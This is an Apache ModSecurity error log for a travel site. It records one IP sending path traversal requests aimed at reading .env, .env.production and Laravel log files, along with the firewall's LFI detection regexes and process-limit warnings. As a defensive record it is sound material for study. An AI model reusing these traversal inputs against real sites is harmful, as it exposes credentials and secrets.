[Fri Jul 17 08:55:04.261779 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkKquHSHoCJK_V0SBJgAAABs"]
[Fri Jul 17 08:55:04.261926 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:04.262236 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkKquHSHoCJK_V0SBJgAAABs"]
[Fri Jul 17 08:55:04.283919 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?page=..%2F..%2F..%2F..%2F.env&junk=DePwBY_B9VXPdiFfL5CaS5V8LOPNKUbOVy60fpKMfMVw7ABFLH4eZctJqYScDZArmryMtjkdpNsNoPbzkM4032FFy2t1DOa0fvMB9iUlD6mhpR9O6edXsw9L6uJpQTQt6SUNrCMPoZjmbrvIw1-xGUGLUnq31gmiVtY4-16cgHJym91Acml0JXTP4TnaS7mv13ygudNCDUonvWejrgaY4P17f7ZQcCmOkjbl9VROx8nzhcxQ17pcoXs0VorurP3XnMM2e3qBkZ0OM4X_lVDQXN3W&sid=UGYCXA2DEVLGZ57VMZHIBOMBJM27SJM2P4IVUH42WV2KTJ244XEEVUEOWW6WQVVAW7CSKSQDGVCMNDNLXLJ5EW2DNJ2CKHKISYP77UMFPZVBLRXBG5I4ISPYYETSE75H6P7LOK..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBgQAAAAQ"]
[Fri Jul 17 08:55:04.283969 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:page: ../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBgQAAAAQ"]
[Fri Jul 17 08:55:04.284028 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?page=../../../../.env&junk=DePwBY_B9VXPdiFfL5CaS5V8LOPNKUbOVy60fpKMfMVw7ABFLH4eZctJqYScDZArmryMtjkdpNsNoPbzkM4032FFy2t1DOa0fvMB9iUlD6mhpR9O6edXsw9L6uJpQTQt6SUNrCMPoZjmbrvIw1-xGUGLUnq31gmiVtY4-16cgHJym91Acml0JXTP4TnaS7mv13ygudNCDUonvWejrgaY4P17f7ZQcCmOkjbl9VROx8nzhcxQ17pcoXs0VorurP3XnMM2e3qBkZ0OM4X_lVDQXN3W&sid=UGYCXA2DEVLGZ57VMZHIBOMBJM27SJM2P4IVUH42WV2KTJ244XEEVUEOWW6WQVVAW7CSKSQDGVCMNDNLXLJ5EW2DNJ2CKHKISYP77UMFPZVBLRXBG5I4ISPYYETSE75H6P7LOKIHQKGHIFXSALQLSL..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBgQAAAAQ"]
[Fri Jul 17 08:55:04.284095 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?page=../../../../.env&junk=depwby_b9vxpdiffl5cas5v8lopnkubovy60fpkmfmvw7abflh4ezctjqyscdzarmrymtjkdpnsnopbzkm4032ffy2t1doa0fvmb9iuld6mhpr9o6edxsw9l6ujpqtqt6sunrcmpozjmbrviw1-xguglunq31gmivty4-16cghjym91acml0jxtp4tnas7mv13ygudncduonvwejrgay4p17f7zqccmokjbl9vrox8nzhcxq17pcoxs0vorurp3xnmm2e3qbkz0om4x_lvdqxn3w&sid=ugycxa2devlgz57vmzhibombjm27sjm2p4ivuh42wv2ktj244xeevueoww6wqvvaw7csksqdgvcmndnlxlj5ew2dnj2ckhkisyp77umfpzvblrxbg5i4ispyyetse75h6p7lokihqkghifxsalqlsl..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBgQAAAAQ"]
[Fri Jul 17 08:55:04.284123 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:page: ../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBgQAAAAQ"]
[Fri Jul 17 08:55:04.284153 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:page: ../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBgQAAAAQ"]
[Fri Jul 17 08:55:04.285341 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBgQAAAAQ"]
[Fri Jul 17 08:55:04.285457 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:04.285774 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkLoj0IkvhSCYadmBgQAAAAQ"]
[Fri Jul 17 08:55:04.285901 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?page=..%2F..%2F..%2F..%2F..%2F.env&extra=tSDI1zOngmPsnQm5uvT0zNxnk4kVBqpnrIZaRTDbUIVX_aVQCFoUf-9MMp8IsK6HjhmQLH9WcVMeVaCNd5SqTZRMdOEg8I62-QGHaIbUcOlDIJkJtfjH5pAcSrCwB89RR6746Gkn4sY7mDeSDhaMEHFMUZVsHdYUvVILyRIpkSr6EpOnZDqqdGugNn9GpeGLo8yLhb2Dl2bRgiUXD0kNDAyNUXUmmEW_qhdlaiE61CjBOqi0iU2FJSmbqmKdIVCQPXEsKwQJAjriAo6R5Kn65JXW&ts=LBVQYQSAVL7M6UYKJ2HY2RFICWSAFUHT7U7XZ5SJURDCNYI5KRJTXFPQ575DEJVYJRTDZT67XHAGHTFQXNLSMBWGWBIEQ5VDXIAZA36Z3MS4ZJ7APTP6LAPI33676Q55I..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkKquHSHoCJK_V0SBJwAAABs"]
[Fri Jul 17 08:55:04.285941 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:page: ../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkKquHSHoCJK_V0SBJwAAABs"]
[Fri Jul 17 08:55:04.286012 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?page=../../../../../.env&extra=tSDI1zOngmPsnQm5uvT0zNxnk4kVBqpnrIZaRTDbUIVX_aVQCFoUf-9MMp8IsK6HjhmQLH9WcVMeVaCNd5SqTZRMdOEg8I62-QGHaIbUcOlDIJkJtfjH5pAcSrCwB89RR6746Gkn4sY7mDeSDhaMEHFMUZVsHdYUvVILyRIpkSr6EpOnZDqqdGugNn9GpeGLo8yLhb2Dl2bRgiUXD0kNDAyNUXUmmEW_qhdlaiE61CjBOqi0iU2FJSmbqmKdIVCQPXEsKwQJAjriAo6R5Kn65JXW&ts=LBVQYQSAVL7M6UYKJ2HY2RFICWSAFUHT7U7XZ5SJURDCNYI5KRJTXFPQ575DEJVYJRTDZT67XHAGHTFQXNLSMBWGWBIEQ5VDXIAZA36Z3MS4ZJ7APTP6LAPI33676Q55I5LGPE4IKYPPHAMCT26..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkKquHSHoCJK_V0SBJwAAABs"]
[Fri Jul 17 08:55:04.286087 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?page=../../../../../.env&extra=tsdi1zongmpsnqm5uvt0znxnk4kvbqpnrizartdbuivx_avqcfouf-9mmp8isk6hjhmqlh9wcvmevacnd5sqtzrmdoeg8i62-qghaibucoldijkjtfjh5pacsrcwb89rr6746gkn4sy7mdesdhamehfmuzvshdyuvvilyripksr6eponzdqqdgugnn9gpeglo8ylhb2dl2brgiuxd0kndaynuxummew_qhdlaie61cjboqi0iu2fjsmbqmkdivcqpxeskwqjajriao6r5kn65jxw&ts=lbvqyqsavl7m6uykj2hy2rficwsafuht7u7xz5sjurdcnyi5krjtxfpq575dejvyjrtdzt67xhaghtfqxnlsmbwgwbieq5vdxiaza36z3ms4zj7aptp6lapi33676q55i5lgpe4ikypphamct26..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkKquHSHoCJK_V0SBJwAAABs"]
[Fri Jul 17 08:55:04.286117 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:page: ../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkKquHSHoCJK_V0SBJwAAABs"]
[Fri Jul 17 08:55:04.286143 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:page: ../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkKquHSHoCJK_V0SBJwAAABs"]
[Fri Jul 17 08:55:04.287696 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkKquHSHoCJK_V0SBJwAAABs"]
[Fri Jul 17 08:55:04.287824 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:04.288104 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkKquHSHoCJK_V0SBJwAAABs"]
[Fri Jul 17 08:55:04.297490 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:page: ../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBJgAAAAY"]
[Fri Jul 17 08:55:04.297536 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:page: ../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBJgAAAAY"]
[Fri Jul 17 08:55:04.298752 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBJgAAAAY"]
[Fri Jul 17 08:55:04.298922 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:04.299247 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkA5GPQ6hs4VrfMpBJgAAAAY"]
[Fri Jul 17 08:55:04.301109 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:page: ../.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBggAAAAQ"]
[Fri Jul 17 08:55:04.301150 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:page: ../.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBggAAAAQ"]
[Fri Jul 17 08:55:04.302308 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBggAAAAQ"]
[Fri Jul 17 08:55:04.302421 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:04.302542 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?page=..%2F..%2Fstorage%2Flogs%2Flaravel.log&ts=jpaEv8LdFtM9DfcTzKuCG7dFfuz-PPijb8UQD0hDwCJtKcEjhAANPh4_VwF8Wj4ZNKVLYK9Srhw1fKWDCekt9WaLW3z8_aTZLh7cdZAYwMo4FJvm_cPwPjJuA7GYEyiMxliD0rj5fWKxkVFdRvVuVwrZCu6IQkAqHitdnFoouykd_zQYdtRld3NyK2vWy4S4Gr_m66-S3m2HqR5DsI3KH89cpZgZHyYIdljgB7cuuUe1w4-6f4rXzUGlmcsHtlVaolKqQJL__sdBRwpbR0Gmg8b_&anything=Z7ESCDGM44ZP4VR3NXPGSPAAZ7NC4C2GS7V3HHTX7G3JELN777M26GVS2AS2PL6TL42VJVTJ4GDDHQ4W2DYMNPQ5FDMT5T3WZNZCEARUDGIXP7JYAECJP..."] [severity "CRITICAL"] [ver 